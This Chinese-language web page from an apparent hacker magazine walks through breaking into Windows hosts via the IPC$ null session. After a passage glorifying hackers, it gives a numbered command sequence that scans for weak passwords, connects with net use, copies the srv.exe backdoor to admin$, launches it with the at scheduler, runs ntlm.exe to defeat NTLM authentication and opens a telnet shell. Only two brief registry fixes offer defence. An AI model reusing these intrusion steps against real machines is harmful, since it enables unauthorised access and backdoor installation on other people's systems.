简 介
在网入侵中，我总结一下，以下几种常见漏洞入方法和补久措施。by:啤酒盖 相传，在神奇的网络世界中，有一群习惯了昼伏夜出的人，他们崇尚自由，反对收费，不变的信念是共享，在那群人眼中，众生皆平等，也没有什么坚不可破的城墙，他们就是——黑客！今天我们把黑客经常用到的经典入侵技术与大家共享！
一、 永恒的ipc$
入侵难度：★★★（中等）
存在范围：★★★（中等）
危险指数：★★★★★（很高）
使用几率：★★★★★（很高）
好用指数：75%
编辑部评审意见：
众所周知，安全问题是一个极具时效的问题，就拿两年前百试不爽的.printer溢出和unicode来说吧，在本年度基本上就没怎么再见有还用！
然而似乎也有例外，针对ipc$问题的攻击就常用常新。
什么是ipc$漏洞：
ipc$是共享“命名管道”的资源，主要用于程序间的通讯。在远程管理计算机和查看计算机的共享资源时使用。利用默认的ipc$我们可以与目标主机建立一个空的连接（无需用户名与密码），而利用这个空的连接，我们就可以得目标主机上的用户列表。
我们总在说ipc$漏洞ipc$漏洞，其实，ipc$并不是真正意义上的漏洞，它是为了方便管理员的远程管理而开放的远程网络登陆功能，而且还打开了默认共享，即所有的逻辑盘(c$，d$，e$……)和系统目录winnt或windows(admin$)。
所有的这些，初衷都是为了方便管理员的管理，但好的初衷并不一定有好的收效，一些别有用心者(到底是什么用心?我也不知道，代词一个)会利用ipc$，访问共享资源，导出用户列表，并使用一些字典工具，进行 密码探测，寄希望于获得更高的权限，从而达到不可告人的目的。
攻击工具：
扫描软件：流光4.71
木马软件：srv.exe
简单攻击：
1. 打开流光4.71
2. 进行扫描前的设置
3. 假设扫出127.0.0.1存在ipc$漏洞，我们进行如下操作
c:\>net use $">\\127.0.0.1\ipc$ "" /user:"admintitrators" //这是用流光扫到的密码
c:\>copy srv.exe $">\\127.0.0.1\admin$ //先复制srv.exe上去，在流光的tools目录就有
出现如下提示：
c:\winnt\system32\
已复制 1 个文件
c:\>net time \\127.0.0.1 //查时间，这里的时间是指对方计算机的，也就是我们要入侵的127.0.0.1的时间，还有要提醒大家要注意的一点是，请把时间转换为24小时制
c:\>at \\127.0.0.1 11:05 srv.exe //用at命令启动srv.exe
c:\>net time \\127.0.0.1 //再查查够时间没有
c:\>telnet 127.0.0.1 99 //我们telnet吧，注意端口是99，因为这里我们用的是srv.exe。
c:\>copy ntlm.exe $">\\127.0.0.1\admin$ //我们再开一个dos窗口，把ntlm.exe上传到主机上，在流光的tools目录有
c:\winnt\system32>ntlm //运行，破坏对方机器的ntlm验证模式，使我们能通过直接连接对方的telnet模式。
c:\winnt\system32>
c:\winnt\system32>net start telnet //然后直接用net start telnet启动telnet
telnet 服务器正在启动.
telnet 服务器已经启动成功。 \ c //成功
这时我们就可以直接使用telnet 127.0.0.1连接对方了。
至此入侵结束。
如何防御：
1. 禁止建立空连接
[hkey_local_machine\system\currentcontrolset\control\lsa]
restrictanonymous = dword:00000001
2. 禁止管理共享
[hkey_local_machine\system\currentcontrolset\services\lanmanserver\parameters]
autoshareserver = dword:00000000
如对本文有疑问，
点击进行留言回复！！
相关文章:
-
-
-
论坛通用入侵一条龙教学(图)
目前网上有种新的趋势，黑客们的攻击目标开始从网站延伸到论坛和聊天室及留言板等公共场所，而许多用户的论坛密码竟然与E-mail和QQ的密码完全相同，因此对大家的网...
[阅读全文]
-
-
追踪入侵JSP网站服务器
在用JSP制作的电子商务网站多如牛毛。但是对于JSP网站而言，安全性真的能够让人放心吗？面对层出不穷的黑客攻击和病毒袭击，JSP网站的服务器能够比其他网站的服务...
[阅读全文]
-
-
-
-
-
-
我要评论
网友评论